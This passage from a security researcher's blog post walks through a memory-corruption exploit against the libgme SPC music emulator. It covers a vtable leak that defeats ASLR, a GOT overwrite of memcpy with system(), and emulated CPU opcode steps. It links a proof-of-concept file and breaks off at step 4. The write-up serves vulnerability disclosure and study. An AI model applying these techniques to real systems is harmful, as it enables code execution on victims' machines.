<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> Spc_Dsp dsp;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> struct state_t</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> int extra_clocks;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> sample_t* buf_begin;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> sample_t const* buf_end;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> sample_t* extra_pos;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> sample_t extra_buf [extra_size];</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> struct</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> // padding to neutralize address overflow</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> union {</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint8_t padding1 [0x100];</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint16_t align; // makes compiler align data for 16-bit access</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> } padding1 [1];</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint8_t ram [0x10000];</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint8_t padding2 [0x100];</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> } ram;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> };</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> state_t m;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">}</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">struct Spc_Dsp {</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> struct state_t</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint8_t* ram; // 64K shared RAM between DSP and SMP</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">All of the above fields are located within the same heap chunk because they are part of the same object. We are starting to realize that this is an exceptionally beautiful vulnerability because we can use our negative X register to index backwards, and access the following fields </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">without the unreliability of crossing a heap chunk</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A vtable value. We can read it to defeat ASLR by calculating the address of various code and data sections relative to it. We can write it to direct code execution.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A pointer value to the actual host heap memory address of the virtual RAM (</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spc_Dsp::ram</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">). This is pretty spectacular. We can now consider forging a vtable inside the virtual CPU address space… and then we know what address to overwrite the vtable pointer with so that our malicious vtable is cleanly referenced.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Some sample buffering and timing fields that give us a bit of control over reads and writes outside of the main </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spc_Emu</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object, if we need that.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(Sample file: </span><a href="https://security.appspot.com/security/spc/perfect_vtable.spc" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">perfect_vtable.spc</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Forges a vtable inside virtual RAM and causes a fault trying to execute the string “xcalc” at a known address. Highly process, heap state and Linux distro independent.)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Memcpy fail</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">My first attempt to put all this together in an exploit on Ubuntu used one of my standard tricks: overwriting the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memcpy()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GOT entry with </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and then triggering some </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memcpy()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in the code. At first glance, there’s an excellent trigger opportunity by having the virtual CPU write to a hardware register to enable or disable a small window of ROM:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">void Snes_Spc::enable_rom( int enable )</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if ( m.rom_enabled != enable )</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> m.rom_enabled = enable;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if ( enable )</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> memcpy( m.hi_ram, &RAM [rom_addr], sizeof m.hi_ram );</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> memcpy( &RAM [rom_addr], (enable ? m.rom : m.hi_ram), rom_size )</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Importantly, if </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memcpy()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is rewired to </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, we just need control of the memory content referenced by the first parameter. Since the second </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memcpy()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is copying to virtual RAM, we trivially have this control.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">And I had working exploit along these lines in my debug build, that promptly failed in a real build of </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">libgme.so</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. What the actual blarrggg?? It turns out that the optimizing compiler decides that since the copy length is a small-ish constant, it will expand these </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memcpy()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> calls to inline sequences of reads and writes. Great. Still, a plan B isn’t hard. Also, as noted in previous blog posts, this technique will work on Ubuntu but not Fedora, since the latter has stronger exploit mitigations turned on, including RELRO. In the next section, we’ll pursue something that will work on both Ubuntu on Fedora.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Putting it together</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We have all the pieces and information to put together a decent exploit now. Here’s how the exploit works that you saw in the video. We’ll describe the Fedora variant:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">1: Set the X register to 255 and then use opcode 0xAF (MOV (X)+,A) in a loop to bump it up to 511</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">It’s worth remembering that as we abuse the 0xAF opcode to bump up the value of the X register, it writes to the virtual address of the X register, effectively corrupting anything we put there. In this stage, virtual addresses 0xff - 0x1fe get corrupted. In later stages, other smaller areas of virtual RAM get corrupted.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">To avoid all these areas of corruption, we host the main code and metadata at virtual address 0x800 - 0xa00 with supporting routines at 0x700. To avoid mistakes, the input file marks virtual addresses which get nailed with the byte 0xfe.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">2: A bit of register copying, more additions and then a multiply (MUL, 0xCF)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The X register value of 511 is copied to the A and then Y register. The X register is then further bumped up using 0xAF again, to 513. This is transferred to A.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The MUL instruction is called, which does Y * A, or 511 * 513. The resulting value in Y, after the final right shift by 8, is 0x3ff.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">3: Repeat the process of multiplying 2^n + 1 and 2^n - 1</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The power of using (2^n + 1) * (2^n - 1) is that after the right shift by 8, this leaves us with a 2^n - 1 result in the Y register. This keeps our result as high as possible without getting to 2^16, which is too large and would leave us with integer overflow.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The sequence of resulting values in the Y register is: 0x3ff, 0xfff, 0xffff, 0xffffff.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">4: Use of the division opcode (DIV, 0x9E) to create a negative value</span></div>
